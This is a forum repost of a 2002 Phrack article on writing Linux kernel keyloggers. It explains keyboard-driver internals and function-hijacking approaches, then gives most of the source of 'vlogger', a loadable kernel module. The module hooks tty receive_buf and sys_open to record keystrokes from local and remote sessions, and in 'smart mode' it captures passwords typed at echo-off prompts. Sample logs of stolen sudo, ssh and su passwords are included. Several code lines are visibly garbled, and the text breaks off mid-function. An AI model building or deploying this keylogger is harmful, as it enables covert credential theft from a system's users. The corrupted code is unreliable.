Nytro Posted December 12, 2009 Report Posted December 12, 2009 ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x0e of 0x12|=-----------------=[ Writing Linux Kernel Keylogger ]=------------------=||=-----------------------------------------------------------------------=||=------------------------=[ rd <rd@thc.org> ]=--------------------------=||=------------------------=[ June 19th, 2002 ]=--------------------------=|--[ Contents 1 - Introduction 2 - How Linux keyboard driver work 3 - Kernel based keylogger approaches 3.1 - Interrupt handler 3.2 - Function hijacking 3.2.1 - handle_scancode 3.2.2 - put_queue 3.2.3 - receive_buf 3.2.4 - tty_read 3.2.5 - sys_read/sys_write 4 - vlogger 4.1 - The syscall/tty approach 4.2 - Features 4.3 - How to use 5 - Greets 6 - References 7 - Keylogger source--[ 1 - Introduction This article is divided into two parts. The first part of the papergives an overview on how the linux keyboard driver work, and discussesmethods that can be used to create a kernel based keylogger. This partwill be useful for those who want to write a kernel based keylogger, or towrite their own keyboard driver (for supporting input of non-supportedlanguage in linux environment, ...) or to program taking advantage of manyfeatures in the Linux keyboard driver. The second part presents detail of vlogger, a smart kernel based linuxkeylogger, and how to use it. Keylogger is a very interesting code beingused widely in honeypots, hacked systems, ... by white and black hats. Asmost of us known, besides user space keyloggers (such as iob, uberkey,unixkeylogger, ...), there are some kernel based keyloggers. The earliestkernel based keylogger is linspy of halflife which was published in Phrack50 (see [4]). And the recent kkeylogger is presented in 'Kernel BasedKeylogger' paper by mercenary (see [7]) that I found when was writing thispaper. The common method of those kernel based keyloggers using is to loguser keystrokes by intercepting sys_read or sys_write system call.However, this approach is quite unstable and slowing down the whole systemnoticeably because sys_read (or sys_write) is the generic read/writefunction of the system; sys_read is called whenever a process wants to readsomething from devices (such as keyboard, file, serial port, ...). Invlogger, I used a better way to implement it that hijacks the tty bufferprocessing function. The reader is supposed to possess the knowledge on Linux Loadable KernelModule. Articles [1] and [2] are recommended to read before furtherreading.--[ 2 - How Linux keyboard driver work Lets take a look at below figure to know how user inputs from consolekeyboard are processed: _____________ _________ _________ / \ put_queue| |receive_buf| |tty_read/handle_scancode\-------->|tty_queue|---------->|tty_ldisc|------->\ / | | |buffer | \_____________/ |_________| |_________| _________ ____________ | |sys_read| |--->|/dev/ttyX|------->|user process| | | | | |_________| |____________| Figure 1 First, when you press a key on the keyboard, the keyboard will sendcorresponding scancodes to keyboard driver. A single key press can producea sequence of up to six scancodes. The handle_scancode() function in the keyboard driver parses the streamof scancodes and converts it into a series of key press and key releaseevents called keycode by using a translation-table via kbd_translate()function. Each key is provided with a unique keycode k in the range 1-127.Pressing key k produces keycode k, while releasing it produces keycodek+128. For example, keycode of 'a' is 30. Pressing key 'a' produces keycode 30.Releasing 'a' produces keycode 158 (128+30). Next, keycodes are converted to key symbols by looking them up on theappropriate keymap. This is a quite complex process. There are eightpossible modifiers (shift keys - Shift , AltGr, Control, Alt, ShiftL,ShiftR, CtrlL and CtrlR), and the combination of currently active modifiersand locks determines the keymap used. After the above handling, the obtained characters are put into the rawtty queue - tty_flip_buffer. In the tty line discipline, receive_buf() function is called periodicallyto get characters from tty_flip_buffer then put them into tty read queue. When user process want to get user input, it calls read() function onstdin of the process. sys_read() function will calls read() functiondefined in file_operations structure (which is pointed to tty_read) ofcorresponding tty (ex /dev/tty0) to read input characters and return to theprocess. The keyboard driver can be in one of 4 modes: - scancode (RAW MODE): the application gets scancodes for input. It is used by applications that implement their own keyboard driver (ex: X11) - keycode (MEDIUMRAW MODE): the application gets information on which keys (identified by their keycodes) get pressed and released. - ASCII (XLATE MODE): the application effectively gets the characters as defined by the keymap, using an 8-bit encoding. - Unicode (UNICODE MODE): this mode only differs from the ASCII mode by allowing the user to compose UTF8 unicode characters by their decimal value, using Ascii_0 to Ascii_9, or their hexadecimal (4-digit) value, using Hex_0 to Hex_9. A keymap can be set up to produce UTF8 sequences (with a U+XXXX pseudo-symbol, where each X is an hexadecimal digit). Those modes influence what type of data that applications will get askeyboard input. For more details on scancode, keycode and keymaps, pleaseread [3].--[ 3 - Kernel based keylogger approaches We can implement a kernel based keylogger in two ways by writing our ownkeyboard interrupt handler or hijacking one of input processing functions. ----[ 3.1 - Interrupt handler To log keystrokes, we will use our own keyboard interrupt handler. UnderIntel architectures, the IRQ of the keyboard controlled is IRQ 1. Whenreceives a keyboard interrupt, our own keyboard interrupt handler read thescancode and keyboard status. Keyboard events can be read and written viaport 0x60(Keyboard data register) and 0x64(Keyboard status register)./* below code is intel specific */#define KEYBOARD_IRQ 1 #define KBD_STATUS_REG 0x64 #define KBD_CNTL_REG 0x64 #define KBD_DATA_REG 0x60 #define kbd_read_input() inb(KBD_DATA_REG) #define kbd_read_status() inb(KBD_STATUS_REG) #define kbd_write_output(val) outb(val, KBD_DATA_REG) #define kbd_write_command(val) outb(val, KBD_CNTL_REG) /* register our own IRQ handler */request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);In my_keyboard_irq_handler(): scancode = kbd_read_input(); key_status = kbd_read_status(); log_scancode(scancode); This method is platform dependent. So it won't be portable amongplatforms. And you have to be very careful with your interrupt handler ifyou don't want to crash your box ----[ 3.2 - Function hijacking Based on the Figure 1, we can implement our keylogger to log user inputsby hijacking one of handle_scancode(), put_queue(), receive_buf(),tty_read() and sys_read() functions. Note that we can't intercepttty_insert_flip_char() function because it is an INLINE function.------[ 3.2.1 - handle_scancode This is the entry function of the keyboard driver (see keyboard.c). Ithandles scancodes which are received from keyboard.# /usr/src/linux/drives/char/keyboard.cvoid handle_scancode(unsigned char scancode, int down); We can replace original handle_scancode() function with our own to logsall scancodes. But handle_scancode() function is not a global and exportedfunction. So to do this, we can use kernel function hijacking techniqueintroduced by Silvio (see [5])./* below is a code snippet written by Plasmoid */static struct semaphore hs_sem, log_sem;static int logging=1;#define CODESIZE 7static char hs_code[CODESIZE];static char hs_jump[CODESIZE] = "\xb8\x00\x00\x00\x00" /* movl $0,%eax */ "\xff\xe0" /* jmp *%eax */ ;void (*handle_scancode) (unsigned char, int) = (void (unsigned char, int)) HS_ADDRESS;void _handle_scancode(unsigned char scancode, int keydown){ if (logging && keydown) log_scancode(scancode, LOGFILE); /* * Restore first bytes of the original handle_scancode code. Call * the restored function and re-restore the jump code. Code is * protected by semaphore hs_sem, we only want one CPU in here at a * time. */ down(&hs_sem); memcpy(handle_scancode, hs_code, CODESIZE); handle_scancode(scancode, keydown); memcpy(handle_scancode, hs_jump, CODESIZE); up(&hs_sem);}HS_ADDRESS is set by the Makefile executing this commandHS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode)) Similar to method presented in 3.1, the advantage of this method is theability to log keystrokes under X and the console, no matter if a tty isinvoked or not. And you will know exactly what key is pressed on thekeyboard (including special keys such as Control, Alt, Shift, Print Screen,...). But this method is platform dependent and won't be portable amongplatforms. This method also can't log keystroke of remote sessions and isquite complex for building an advance logger.------[ 3.2.2 - put_queue This function is called by handle_scancode() function to put charactersinto tty_queue. # /usr/src/linux/drives/char/keyboard.cvoid put_queue(int ch); To intercept this function, we can use the above technique as in section(3.2.1).------[ 3.2.3 - receive_buf receive_buf() function is called by the low-level tty driver to sendcharacters received by the hardware to the line discipline for processing.# /usr/src/linux/drivers/char/n_tty.c */static void n_tty_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count)cp is a pointer to the buffer of input character received by the device.fp is a pointer to a pointer of flag bytes which indicate whether acharacter was received with a parity error, etc.Lets take a deeper look into tty structures# /usr/include/linux/tty.hstruct tty_struct { int magic; struct tty_driver driver; struct tty_ldisc ldisc; struct termios *termios, *termios_locked; ...}# /usr/include/linux/tty_ldisc.hstruct tty_ldisc { int magic; char *name; ... void (*receive_buf)(struct tty_struct *, const unsigned char *cp, char *fp, int count); int (*receive_room)(struct tty_struct *); void (*write_wakeup)(struct tty_struct *);}; To intercept this function, we can save the original tty receive_buf()function then set ldisc.receive_buf to our own new_receive_buf() functionin order to logging user inputs. Ex: to log inputs on the tty0int fd = open("/dev/tty0", O_RDONLY, 0);struct file *file = fget(fd);struct tty_struct *tty = file->private_data;old_receive_buf = tty->ldisc.receive_buf;tty->ldisc.receive_buf = new_receive_buf;void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count){ logging(tty, cp, count); //log inputs /* call the original receive_buf */ (*old_receive_buf)(tty, cp, fp, count);}------[ 3.2.4 - tty_read This function is called when a process wants to read input charactersfrom a tty via sys_read() function.# /usr/src/linux/drives/char/tty_io.cstatic ssize_t tty_read(struct file * file, char * buf, size_t count, loff_t *ppos)static struct file_operations tty_fops = { llseek: tty_lseek, read: tty_read, write: tty_write, poll: tty_poll, ioctl: tty_ioctl, open: tty_open, release: tty_release, fasync: tty_fasync,};To log inputs on the tty0:int fd = open("/dev/tty0", O_RDONLY, 0);struct file *file = fget(fd); old_tty_read = file->f_op->read;file->f_op->read = new_tty_read;------[ 3.2.5 - sys_read/sys_write We will intercept sys_read/sys_write system calls to redirect it to ourown code which logs the content of the read/write calls. This method waspresented by halflife in Phrack 50 (see [4]). I highly recommend readingthat paper and a great article written by pragmatic called "Complete LinuxLoadable Kernel Modules" (see [2]).The code to intercept sys_read/sys_write will be something like this:extern void *sys_call_table[];original_sys_read = sys_call_table[__NR_read];sys_call_table[__NR_read] = new_sys_read;--[ 4 - vlogger This part will introduce my kernel keylogger which is used methoddescribed in section 3.2.3 to acquire more abilities than common keyloggersused sys_read/sys_write systemcall replacement approach. I have tested thecode with the following versions of linux kernel: 2.4.5, 2.4.7, 2.4.17 and2.4.18. ----[ 4.1 - The syscall/tty approach To logging both local (logged from console) and remote sessions, I chosethe method of intercepting receive_buf() function (see 3.2.3). In the kernel, tty_struct and tty_queue structures are dynamicallyallocated only when the tty is open. Thus, we also have to interceptsys_open syscall to dynamically hooking the receive_buf() function of eachtty or pty when it's invoked.// to intercept open syscalloriginal_sys_open = sys_call_table[__NR_open];sys_call_table[__NR_open] = new_sys_open;// new_sys_open()asmlinkage int new_sys_open(const char *filename, int flags, int mode){... // call the original_sys_open ret = (*original_sys_open)(filename, flags, mode); if (ret >= 0) { struct tty_struct * tty;... file = fget(ret); tty = file->private_data; if (tty != NULL && ... tty->ldisc.receive_buf != new_receive_buf) {... // save the old receive_buf old_receive_buf = tty->ldisc.receive_buf;... /* * init to intercept receive_buf of this tty * tty->ldisc.receive_buf = new_receive_buf; */ init_tty(tty, TTY_INDEX(tty)); }...}// our new receive_buf() functionvoid new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count){ if (!tty->real_raw && !tty->raw) // ignore raw mode // call our logging function to log user inputs vlogger_process(tty, cp, count); // call the original receive_buf (*old_receive_buf)(tty, cp, fp, count);}----[ 4.2 - Features - Logs both local and remote sessions (via tty & pts) - Separate logging for each tty/session. Each tty has their own logging buffer. - Nearly support all special chars such as arrow keys (left, right, up, down), F1 to F12, Shift+F1 to Shift+F12, Tab, Insert, Delete, End, Home, Page Up, Page Down, BackSpace, ... - Support some line editing keys included CTRL-U and BackSpace. - Timestamps logging, timezone supported (ripped off some codes from libc). - Multiple logging modes o dumb mode: logs all keystrokes o smart mode: detects password prompt automatically to log user/password only. I used the similar technique presented in "Passive Analysis of SSH (Secure Shell) Traffic" paper by Solar Designer and Dug Song (see [6]). When the application turns input echoing off, we assume that it is for entering a password. o normal mode: disable loggingYou can switch between logging modes by using a magic password.#define VK_TOGLE_CHAR 29 // CTRL-]#define MAGIC_PASS "31337" // to switch mode, type MAGIC_PASS // then press VK_TOGLE_CHAR key----[ 4.3 - How to useChange the following options// directory to store log files#define LOG_DIR "/tmp/log"// your local timezone#define TIMEZONE 7*60*60 // GMT+7// your magic password#define MAGIC_PASS "31337" Below is how the log file looks like:[root@localhost log]# ls -ltotal 60-rw------- 1 root root 633 Jun 19 20:59 pass.log-rw------- 1 root root 37593 Jun 19 18:51 pts11-rw------- 1 root root 56 Jun 19 19:00 pts20-rw------- 1 root root 746 Jun 19 20:06 pts26-rw------- 1 root root 116 Jun 19 19:57 pts29-rw------- 1 root root 3219 Jun 19 21:30 tty1-rw------- 1 root root 18028 Jun 19 20:54 tty2---in dumb mode[root@localhost log]# head tty2 // local session<19/06/2002-20:53:47 uid=501 bash> pwd<19/06/2002-20:53:51 uid=501 bash> uname -a<19/06/2002-20:53:53 uid=501 bash> lsmod<19/06/2002-20:53:56 uid=501 bash> pwd<19/06/2002-20:54:05 uid=501 bash> cd /var/log<19/06/2002-20:54:13 uid=501 bash> tail messages<19/06/2002-20:54:21 uid=501 bash> cd ~<19/06/2002-20:54:22 uid=501 bash> ls<19/06/2002-20:54:29 uid=501 bash> tty<19/06/2002-20:54:29 uid=501 bash> [UP][root@localhost log]# tail pts11 // remote session <19/06/2002-18:48:27 uid=0 bash> cd new<19/06/2002-18:48:28 uid=0 bash> cp -p ~/code .<19/06/2002-18:48:21 uid=0 bash> lsmod<19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/<19/06/2002-18:48:28 uid=0 bash> ls -l<19/06/2002-18:48:30 uid=0 bash> tail pts11<19/06/2002-18:48:38 uid=0 bash> [UP] | more<19/06/2002-18:50:44 uid=0 bash> vi vlogertxt<19/06/2002-18:50:48 uid=0 vi> :q<19/06/2002-18:51:14 uid=0 bash> rmmod vlogger---in smart mode[root@localhost log]# cat pass.log[19/06/2002-18:28:05 tty=pts/20 uid=501 sudo]USER/CMD sudo traceroute yahoo.comPASS 5hgt6dPASS [19/06/2002-19:59:15 tty=pts/26 uid=0 ssh]USER/CMD ssh guest@host.comPASS guest[19/06/2002-20:50:44 tty=pts/29 uid=504 ftp]USER/CMD open ftp.ilog.frUSER AnonymousPASS heh@heh[19/06/2002-20:59:54 tty=pts/29 uid=504 su]USER/CMD su -PASS asdf1234Please check http://www.thc.org/ for update on the new versionof this tool.--[ 5 - Greets Thanks to plasmoid, skyper for your very useful commentsGreets to THC, vnsecurity and all friendsFinally, thanks to mr. thang for english corrections--[ 6 - References[1] Linux Kernel Module Programming http://www.tldp.org/LDP/lkmpg/[2] Complete Linux Loadable Kernel Modules - Pragmatic http://www.thc.org/papers/LKM_HACKING.html[3] The Linux keyboard driver - Andries Brouwer http://www.linuxjournal.com/lj-issues/issue14/1080.html[4] Abuse of the Linux Kernel for Fun and Profit - Halflife http://www.phrack.com/phrack/50/P50-05[5] Kernel function hijacking - Silvio Cesare http://www.big.net.au/~silvio/kernel-hijack.txt[6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt[7] Kernel Based Keylogger - Mercenary http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt--[ 7 - Keylogger sources<++> vlogger/Makefile## vlogger 1.0 by rd## LOCAL_ONLY logging local session only. Doesn't intercept# sys_open system call# DEBUG Enable debug. Turn on this options will slow# down your system#KERNELDIR =/usr/src/linuxinclude $(KERNELDIR)/.configMODVERFILE = $(KERNELDIR)/include/linux/modversions.hMODDEFS = -D__KERNEL__ -DMODULE -DMODVERSIONSCFLAGS = -Wall -O2 -I$(KERNELDIR)/include -include $(MODVERFILE) \ -Wstrict-prototypes -fomit-frame-pointer -pipe \ -fno-strength-reduce -malign-loops=2 -malign-jumps=2 \ -malign-functions=2all : vlogger.ovlogger.o: vlogger.c $(CC) $(CFLAGS) $(MODDEFS) -c $^ -o $@clean: rm -f *.o<--><++> vlogger/vlogger.c/* * vlogger 1.0 * * Copyright (C) 2002 rd <rd@vnsecurity.net> * * Please check http://www.thc.org/ for update * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * Greets to THC & vnsecurity * */#define __KERNEL_SYSCALLS__#include <linux/version.h>#include <linux/module.h>#include <linux/kernel.h>#include <linux/smp_lock.h>#include <linux/sched.h>#include <linux/unistd.h>#include <linux/string.h>#include <linux/file.h>#include <asm/uaccess.h>#include <linux/proc_fs.h>#include <asm/errno.h>#include <asm/io.h>#ifndef KERNEL_VERSION#define KERNEL_VERSION(a,b,c) (((a) << 16) + (( << 8) + (c))#endif#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,9)MODULE_LICENSE("GPL");MODULE_AUTHOR("rd@vnsecurity.net");#endif#define MODULE_NAME "vlogger "#define MVERSION "vlogger 1.0 - by rd@vnsecurity.net\n"#ifdef DEBUG#define DPRINT(format, args...) printk(MODULE_NAME format, ##args)#else#define DPRINT(format, args...)#endif#define N_TTY_NAME "tty"#define N_PTS_NAME "pts"#define MAX_TTY_CON 8#define MAX_PTS_CON 256#define LOG_DIR "/tmp/log"#define PASS_LOG LOG_DIR "/pass.log"#define TIMEZONE 7*60*60 // GMT+7#define ESC_CHAR 27#define BACK_SPACE_CHAR1 127 // local#define BACK_SPACE_CHAR2 8 // remote#define VK_TOGLE_CHAR 29 // CTRL-]#define MAGIC_PASS "31337" // to switch mode, press MAGIC_PASS and // VK_TOGLE_CHAR#define VK_NORMAL 0#define VK_DUMBMODE 1#define VK_SMARTMODE 2#define DEFAULT_MODE VK_DUMBMODE#define MAX_BUFFER 256#define MAX_SPECIAL_CHAR_SZ 12#define TTY_NUMBER(tty) MINOR((tty)->device) - (tty)->driver.minor_start \ + (tty)->driver.name_base#define TTY_INDEX(tty) tty->driver.type == \ TTY_DRIVER_TYPE_PTY?MAX_TTY_CON + \ TTY_NUMBER(tty):TTY_NUMBER(tty)#define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)#define TTY_WRITE(tty, buf, count) (*tty->driver.write)(tty, 0, \ buf, count)#define TTY_NAME(tty) (tty->driver.type == \ TTY_DRIVER_TYPE_CONSOLE?N_TTY_NAME: \ tty->driver.type == TTY_DRIVER_TYPE_PTY && \ tty->driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"")#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());#define END_KMEM set_fs(old_fs); }extern void *sys_call_table[];int errno;struct tlogger { struct tty_struct *tty; char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ]; int lastpos; int status; int pass;};struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL };void (*old_receive_buf)(struct tty_struct *, const unsigned char *, char *, int);asmlinkage int (*original_sys_open)(const char *, int, int);int vlogger_mode = DEFAULT_MODE;/* Prototypes */static inline void init_tty(struct tty_struct *, int);/*static char *_tty_make_name(struct tty_struct *tty, const char *name, char *buf){ int idx = (tty)?MINOR(tty->device) - tty->driver.minor_start:0; if (!tty) strcpy(buf, "NULL tty"); else sprintf(buf, name, idx + tty->driver.name_base); return buf;}char *tty_name(struct tty_struct *tty, char *buf){ return _tty_make_name(tty, (tty)?tty->driver.name:NULL, buf);}*/#define SECS_PER_HOUR (60 * 60)#define SECS_PER_DAY (SECS_PER_HOUR * 24)#define isleap(year) \ ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))#define DIV(a, ((a) / ( - ((a) % ( < 0))#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))struct vtm { int tm_sec; int tm_min; int tm_hour; int tm_mday; int tm_mon; int tm_year;};/* * Convert from epoch to date */int epoch2time (const time_t *t, long int offset, struct vtm *tp){ static const unsigned short int mon_yday[2][13] = { /* Normal years. */ { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 }, /* Leap years. */ { 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 } }; long int days, rem, y; const unsigned short int *ip; days = *t / SECS_PER_DAY; rem = *t % SECS_PER_DAY; rem += offset; while (rem < 0) { rem += SECS_PER_DAY; --days; } while (rem >= SECS_PER_DAY) { rem -= SECS_PER_DAY; ++days; } tp->tm_hour = rem / SECS_PER_HOUR; rem %= SECS_PER_HOUR; tp->tm_min = rem / 60; tp->tm_sec = rem % 60; y = 1970; while (days < 0 || days >= (isleap (y) ? 366 : 365)) { long int yg = y + days / 365 - (days % 365 < 0); days -= ((yg - y) * 365 + LEAPS_THRU_END_OF (yg - 1) - LEAPS_THRU_END_OF (y - 1)); y = yg; } tp->tm_year = y - 1900; if (tp->tm_year != y - 1900) return 0; ip = mon_yday[isleap(y)]; for (y = 11; days < (long int) ip[y]; --y) continue; days -= ip[y]; tp->tm_mon = y; tp->tm_mday = days + 1; return 1;}/* * Get current date & time */void get_time (char *date_time) { struct timeval tv; time_t t; struct vtm tm; do_gettimeofday(&tv); t = (time_t)tv.tv_sec; epoch2time(&t, TIMEZONE, &tm); sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday, tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min, tm.tm_sec);}/* * Get task structure from pgrp id */inline struct task_struct *get_task(pid_t pgrp) { struct task_struct *task = current; do { if (task->pgrp == pgrp) { return task; } task = task->next_task; } while (task != current); return NULL;}#define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))#define WRITABLE(f) (f->f_op && f->f_op->write)int write_to_file(char *logfile, char *buf, int size){ int ret = 0; struct file *f = NULL; lock_kernel(); BEGIN_KMEM; f = filp_open(logfile, O_CREAT|O_APPEND, 00600); if (IS_ERR(f)) { DPRINT("Error %ld opening %s\n", -PTR_ERR(f), logfile); ret = -1; } else { if (WRITABLE(f)) _write(f, buf, size); else { DPRINT("%s does not have a write method\n", logfile); ret = -1; } if ((ret = filp_close(f,NULL))) DPRINT("Error %d closing %s\n", -ret, logfile); } END_KMEM; unlock_kernel(); return ret;}#define BEGIN_ROOT { int saved_fsuid = current->fsuid; current->fsuid = 0;#define END_ROOT current->fsuid = saved_fsuid; }/* * Logging keystrokes */void logging(struct tty_struct *tty, struct tlogger *tmp, int cont) { int i; char logfile[256]; char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256]; char date_time[24]; struct task_struct *task; if (vlogger_mode == VK_NORMAL) return; if ((vlogger_mode == VK_SMARTMODE) && (!tmp->lastpos || cont)) return; task = get_task(tty->pgrp); for (i=0; i<tmp->lastpos; i++) if (tmp->buf == 0x0D) tmp->buf = 0x0A; if (!cont) tmp->buf[tmp->lastpos++] = 0x0A; tmp->buf[tmp->lastpos] = 0; if (vlogger_mode == VK_DUMBMODE) { snprintf(logfile, sizeof(logfile)-1, "%s/%s%d", LOG_DIR, TTY_NAME(tty), TTY_NUMBER(tty)); BEGIN_ROOT if (!tmp->status) { get_time(date_time); if (task) snprintf(loginfo, sizeof(loginfo)-1, "<%s uid=%d %s> %s", date_time, task->uid, task->comm, tmp->buf); else snprintf(loginfo, sizeof(loginfo)-1, "<%s> %s", date_time, tmp->buf); write_to_file(logfile, loginfo, strlen(loginfo)); } else { write_to_file(logfile, tmp->buf, tmp->lastpos); } END_ROOT#ifdef DEBUG if (task) DPRINT("%s/%d uid=%d %s: %s", TTY_NAME(tty), TTY_NUMBER(tty), task->uid, task->comm, tmp->buf); else DPRINT("%s", tmp->buf);#endif tmp->status = cont; } else { /* * Logging USER/CMD and PASS in SMART_MODE */ BEGIN_ROOT if (!tmp->pass) { get_time(date_time); if (task) snprintf(loginfo, sizeof(loginfo)-1, "\n[%s tty=%s/%d uid=%d %s]\n" "USER/CMD %s", date_time, TTY_NAME(tty),TTY_NUMBER(tty), task->uid, task->comm, tmp->buf); else snprintf(loginfo, sizeof(loginfo)-1, "\n[%s tty=%s/%d]\nUSER/CMD %s", date_time, TTY_NAME(tty), TTY_NUMBER(tty), tmp->buf); write_to_file(PASS_LOG, loginfo, strlen(loginfo)); } else { snprintf(loginfo, sizeof(loginfo)-1, "PASS %s", tmp->buf); write_to_file (PASS_LOG, loginfo, strlen(loginfo)); } END_ROOT#ifdef DEBUG if (!tmp->pass) DPRINT("USER/CMD %s", tmp->buf); else DPRINT("PASS %s", tmp->buf);#endif } if (!cont) tmp->buf[--tmp->lastpos] = 0;}#define resetbuf(t) \{ \ t->buf[0] = 0; \ t->lastpos = 0; \}#define append_c(t, s, n) \{ \ t->lastpos += n; \ strncat(t->buf, s, n); \}static inline void reset_all_buf(void){ int i = 0; for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) if (ttys != NULL) resetbuf(ttys);}void special_key(struct tlogger *tmp, const unsigned char *cp, int count){ switch(count) { case 2: switch(cp[1]) { case '\'': append_c(tmp, "[ALT-\']", 7); break; case ',': append_c(tmp, "[ALT-,]", 7); break; case '-': append_c(tmp, "[ALT--]", 7); break; case '.': append_c(tmp, "[ALT-.]", 7); break; case '/': append_c(tmp, "[ALT-/]", 7); break; case '0': append_c(tmp, "[ALT-0]", 7); break; case '1': append_c(tmp, "[ALT-1]", 7); break; case '2': append_c(tmp, "[ALT-2]", 7); break; case '3': append_c(tmp, "[ALT-3]", 7); break; case '4': append_c(tmp, "[ALT-4]", 7); break; case '5': append_c(tmp, "[ALT-5]", 7); break; case '6': append_c(tmp, "[ALT-6]", 7); break; case '7': append_c(tmp, "[ALT-7]", 7); break; case '8': append_c(tmp, "[ALT-8]", 7); break; case '9': append_c(tmp, "[ALT-9]", 7); break; case ';': append_c(tmp, "[ALT-;]", 7); break; case '=': append_c(tmp, "[ALT-=]", 7); break; case '[': append_c(tmp, "[ALT-[]", 7); break; case '\\': append_c(tmp, "[ALT-\\]", 7); break; case ']': append_c(tmp, "[ALT-]]", 7); break; case '`': append_c(tmp, "[ALT-`]", 7); break; case 'a': append_c(tmp, "[ALT-A]", 7); break; case 'b': append_c(tmp, "[ALT-B]", 7); break; case 'c': append_c(tmp, "[ALT-C]", 7); break; case 'd': append_c(tmp, "[ALT-D]", 7); break; case 'e': append_c(tmp, "[ALT-E]", 7); break; case 'f': append_c(tmp, "[ALT-F]", 7); break; case 'g': append_c(tmp, "[ALT-G]", 7); break; case 'h': append_c(tmp, "[ALT-H]", 7); break; case 'i': append_c(tmp, "[ALT-I]", 7); break; case 'j': append_c(tmp, "[ALT-J]", 7); break; case 'k': append_c(tmp, "[ALT-K]", 7); break; case 'l': append_c(tmp, "[ALT-L]", 7); break; case 'm': append_c(tmp, "[ALT-M]", 7); break; case 'n': append_c(tmp, "[ALT-N]", 7); break; case 'o': append_c(tmp, "[ALT-O]", 7); break; case 'p': append_c(tmp, "[ALT-P]", 7); break; case 'q': append_c(tmp, "[ALT-Q]", 7); break; case 'r': append_c(tmp, "[ALT-R]", 7); break; case 's': append_c(tmp, "[ALT-S]", 7); break; case 't': append_c(tmp, "[ALT-T]", 7); break; case 'u': append_c(tmp, "[ALT-U]", 7); break; case 'v': append_c(tmp, "[ALT-V]", 7); break; case 'x': append_c(tmp, "[ALT-X]", 7); break; case 'y': append_c(tmp, "[ALT-Y]", 7); break; case 'z': append_c(tmp, "[ALT-Z]", 7); break; } break; case 3: switch(cp[2]) { case 68: // Left: 27 91 68 append_c(tmp, "", 6); break; case 67: // Right: 27 91 67 append_c(tmp, "", 7); break; case 65: // Up: 27 91 65 append_c(tmp, "[UP]", 4); break; case 66: // Down: 27 91 66 append_c(tmp, "[DOWN]", 6); break; case 80: // Pause/Break: 27 91 80 append_c(tmp, "[BREAK]", 7); break; } break; case 4: switch(cp[3]) { case 65: // F1: 27 91 91 65 append_c(tmp, "[F1]", 4); break; case 66: // F2: 27 91 91 66 append_c(tmp, "[F2]", 4); break; case 67: // F3: 27 91 91 67 append_c(tmp, "[F3]", 4); break; case 68: // F4: 27 91 91 68 append_c(tmp, "[F4]", 4); break; case 69: // F5: 27 91 91 69 append_c(tmp, "[F5]", 4); break; case 126: switch(cp[2]) { case 53: // PgUp: 27 91 53 126 append_c(tmp, "[PgUP]", 6); break; case 54: // PgDown: 27 91 54 126 append_c(tmp, "[PgDOWN]", 8); break; case 49: // Home: 27 91 49 126 append_c(tmp, "[HOME]", 6); break; case 52: // End: 27 91 52 126 append_c(tmp, "[END]", 5); break; case 50: // Insert: 27 91 50 126 append_c(tmp, "[INS]", 5); break; case 51: // Delete: 27 91 51 126 append_c(tmp, "[DEL]", 5); break; } break; } break; case 5: if(cp[2] == 50) switch(cp[3]) { case 48: // F9: 27 91 50 48 126 append_c(tmp, "[F9]", 4); break; case 49: // F10: 27 91 50 49 126 append_c(tmp, "[F10]", 5); break; case 51: // F11: 27 91 50 51 126 append_c(tmp, "[F11]", 5); break; case 52: // F12: 27 91 50 52 126 append_c(tmp, "[F12]", 5); break; case 53: // Shift-F1: 27 91 50 53 126 append_c(tmp, "[SH-F1]", 7); break; case 54: // Shift-F2: 27 91 50 54 126 append_c(tmp, "[SH-F2]", 7); break; case 56: // Shift-F3: 27 91 50 56 126 append_c(tmp, "[SH-F3]", 7); break; case 57: // Shift-F4: 27 91 50 57 126 append_c(tmp, "[SH-F4]", 7); break; } else switch(cp[3]) { case 55: // F6: 27 91 49 55 126 append_c(tmp, "[F6]", 4); break; case 56: // F7: 27 91 49 56 126 append_c(tmp, "[F7]", 4); break; case 57: // F8: 27 91 49 57 126 append_c(tmp, "[F8]", 4); break; case 49: // Shift-F5: 27 91 51 49 126 append_c(tmp, "[SH-F5]", 7); break; case 50: // Shift-F6: 27 91 51 50 126 append_c(tmp, "[SH-F6]", 7); break; case 51: // Shift-F7: 27 91 51 51 126 append_c(tmp, "[SH-F7]", 7); break; case 52: // Shift-F8: 27 91 51 52 126 append_c(tmp, "[SH-F8]", 7); break; }; break; default: // Unknow break; }}/* * Called whenever user press a key */void vlogger_process(struct tty_struct *tty, const unsigned char *cp, int count){ struct tlogger *tmp = ttys[TTY_INDEX(tty)]; if (!tmp) { DPRINT("erm .. unknow error???\n"); init_tty(tty, 